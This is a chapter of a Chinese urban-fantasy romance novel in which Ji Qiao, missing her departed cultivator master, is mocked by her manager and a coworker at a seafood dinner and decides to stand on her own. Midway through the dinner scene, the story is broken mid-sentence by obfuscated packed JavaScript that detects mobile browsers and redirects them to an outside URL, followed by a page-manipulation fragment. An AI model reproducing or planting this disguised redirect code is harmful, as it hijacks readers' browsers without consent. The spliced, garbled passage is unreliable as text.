肩膀传来的力道突然消失，纪乔几乎是条件反射地回头，心跳得像擂鼓。


    是师尊吗？师尊回来了？！


    可是，当她回头时，神色瞬间黯淡了些许。


    身后站着的不是白衣胜雪的身影，而是穿浅灰衬衫的沈叙。他推了推眼镜，镜片后的目光落在她发红的肩膀上，眉头微蹙：“没事吧？”


    纪乔愣了愣才摇头，声音还有点发颤：“没事，谢谢。”


    王浩宇刚才那下掐得是真疼，现在肩膀还火辣辣的。她低头揉着袖子盖住的地方，没注意到沈叙的视线在她发颤的睫毛上停了会儿。


    “他就是故意找事。”沈叙的声音依旧温和，却比平时沉了些，“别往心里去。”


    纪乔点点头，忽然想起初中时，有男生堵着班花要联系方式，是沈叙假装路过喊班花去办公室拿作业，替班花解了围。那时候他也是这么说的：“别往心里去。”


    纪乔点点头，还是没说话。


    沈叙看着她泛红的眼眶，又道：“要不要去楼下透透气？”


    纪乔摇摇头，她现在只想一个人待着。


    沈叙没再劝，只是道：“那我先回去了，有事叫我。”


    纪乔望着他走进包厢的背影，突然觉得，沈叙的温柔和谢清辞的清冷，其实都一样，都不是为了她。


    她低头看了看自己的肩膀，刚才被攥过的地方还泛着红，像块难看的印记。


    接下来的日子，纪乔时常握着清心玉发呆。


    师尊离开才一周，可她已经觉得过去太久了，久到纪乔都觉得是一场梦，穿越是一场梦，拜师是一场梦，带美人师尊穿回来也是一场梦，只有清心玉提醒她，这是真的。


    纪乔攥着清心玉的手指又收紧了些，玉佩边缘硌得掌心发疼。手机在桌角震动，是HR发来的消息，说总监下周就从总部回来了，让她提前把之前没做完的项目资料整理好。


    看到“总监”两个字，纪乔的后颈瞬间发僵。上次挂电话时的爽快早被恐慌取代，她当时光顾着在谢清辞面前耍威风，忘了总监只是去出差，不是永远消失了。


    果然，周一早上刚打卡，纪乔就被总监堵在了茶水间。


    女人穿着香奈儿套装，指甲涂着正红色，看见她进来，慢悠悠地往马克杯里倒咖啡，语气里的嘲讽像淬了冰：“哟，这不是纪乔吗？听说前段时间情场得意啊，交了个大帅哥男朋友？”


    纪乔捏着手里的纸杯，指尖泛白：“张总监……”


    “怎么？”总监转过身，假睫毛忽闪了两下，目光在她身上扫来扫去，像在看什么笑话，“帅哥呢？玩腻了把你甩了？不然怎么还来上班？我还以为有人要养你呢。”


    周围倒咖啡的同事都假装没听见，却竖起耳朵听着。纪乔的脸烧得厉害，想起上次当着谢清辞的面吼“我不干了”，只觉得脸颊发烫。


    “对不起总监，上次是我冲动了。”她深吸一口气，把到了嘴边的辩解咽回去，“项目资料我已经整理好了，您看什么时候有空……”


    “急什么？”总监打断她，呷了口咖啡，“毕竟是被大帅哥‘临幸’过的人，心气儿不一样了。不过话说回来，那帅哥真是你男朋友？我怎么听林薇薇说，人家是你老家来的亲戚，后来还走了？”


    纪乔的指甲掐进掌心。林薇薇那张嘴，果然什么都往外说。


    “是我没说清楚，给您添麻烦了。”她低着头，声音闷得像堵了棉花，“之前的方案我重新改了三遍，您要是觉得还不行，我再改。”


    总监这才接过她手里的文件夹，翻都没翻就扔在旁边的台子上：“行啊，看你这么有诚意的份上，就再给你次机会。对了，今晚部门聚餐，你也一起来，正好让大家看看，甩了你的帅哥到底长什么样……哦不对，人都走了，说这些干嘛。”


    说完，她踩着高跟鞋扭着腰走了，留下纪乔站在原地，手里的纸杯被捏得变了形。


    同事们假装路过，眼神里的同情和看热闹混在一起，像针似的扎在她身上。纪乔抓起文件夹，几乎是逃也似的跑回了格子间。


    隔壁工位的林薇薇正对着镜子涂口红，看见她回来，笑得一脸无辜：“小乔，刚才听总监说聚餐？太好了，我正好新买了条裙子……”


    纪乔没理她，趴在桌上盯着键盘发呆。清心玉在口袋里硌着她，冰凉的触感却压不住心里的烦躁。


    要是师尊还在就好了。


    这个念头刚冒出来，就被她按了下去。谢清辞说了，他是修无情道的，之前种种不过是护她周全。她现在这样，跟个没断奶的孩子似的盼着他回来，简直可笑。


    晚上的聚餐设在一家海鲜自助餐厅，总监特意定了靠窗的大包厢，美其名曰“犒劳大家”，实则是想把纪乔的窘态当笑话看。


    纪乔穿着最普通的牛仔裤和T恤，坐在角落埋头吃虾，尽量降低自己的存在感。可总监没打算放过她。


    “纪乔，怎么不吃帝王蟹？是不是舍不得？”总监举着酒杯，笑盈盈地说，“也是，以前吃泡面都嫌贵，突然来这种地方，是有点不习惯。”


    同事们跟着哄笑起来。纪乔的脸涨得通红，手不自觉地摸向口袋里的清心玉，冰凉的玉佩贴着掌心，却没带来半分安慰。她掏出手机想假装接电话溜出去，屏幕亮起时，只有一条运营商发来的流量提醒。


    没有陌生号码，没有熟悉的语气。


    她深吸一口气，刚要起身，总监又开口了：“怎么？想走？是不是怕我们提你那帅哥男朋友？也是，被那么好看的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923964|192690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甩了，换谁都觉得丢人。”


    林薇薇立刻接话：“总监您别这么说，小乔说不定是没胃口呢。毕竟不是谁都能天天吃这个的，是吧小乔？”


    纪乔攥着手机的手指泛白，指甲深深掐进掌心。她想起谢清辞说过“有我在，无人能强迫你”，可此刻，那句话像褪色的旧报纸，轻飘飘的没有分量。


    “我去下洗手间。”她猛地站起来，椅子腿在地上划出刺耳的声响。


    走到走廊尽头，纪乔对着窗户大口喘气。玻璃映出她泛红的眼眶，像只狼狈的兔子。她摸出清心玉，贴在发烫的脸颊上，冰凉的触感让她稍微冷静了些。


    “还说什么清心玉能安神，都是骗人的。”她对着玉佩小声嘀咕，声音里带着哭腔，“你走就走了，干嘛还留个破石头折磨人……”


    话音刚落，手机突然震动了一下。纪乔的心猛地一跳，几乎是手忙脚乱地点开，是秦小诗发来的表情包，问她聚餐什么时候结束。


    她盯着屏幕看了很久，手指悬在输入框上，最终还是按了锁屏。


    回到包厢时，总监正拿着她的方案在说什么，看见她进来，扬了扬下巴：“正好，纪乔你过来，说说这个数据怎么回事。”


    纪乔走过去，才发现方案上被红笔圈了十几个地方，全是鸡蛋里挑骨头的错误。


    “这里，还有这里，”总监用指甲戳着纸面，“连这种低级错误都有，我看你是被帅哥迷昏头了。明天之前，我要看到第四版，不然你就……”


    “我会改好的。”纪乔打断她，声音平静得连自己都惊讶。


    总监愣了愣，大概没料到她会是这个反应，撇撇嘴没再说话。


    聚餐结束时，林薇薇挽着总监的胳膊走在前面，高跟鞋踩在大理石地面上发出清脆的声响。纪乔落在最后，看着她们的背影，突然觉得没那么难受了。


    手机在口袋里硌着，清心玉的冰凉透过布料渗进来。她想起谢清辞教她引气入体时说的话：“修仙一途，最忌心怯。”


    或许，她不能总等着别人来护着。


    纪乔深吸一口气，抬头望向夜空。没有白衣胜雪的身影，没有清冽的冷香，只有几颗疏星和弯弯的月亮。


    她握紧口袋里的清心玉，转身走向地铁站。影子被路灯拉得很长，虽然孤单，却站得笔直。


    明天还要改方案呢。她对自己说。


    没有师尊，也得好好走下去啊。


    ＊


    地铁门刚滑开，纪乔就攥着清心玉往出走，掌心被玉佩硌出浅浅的红痕。她低头看手机，屏幕里自己的脸有点红，大概是聚餐时被总监堵得气的。


    刚走出站台，就听见有人喊她：“纪乔？”


    抬头的瞬间，纪乔的心跳莫名漏了一拍。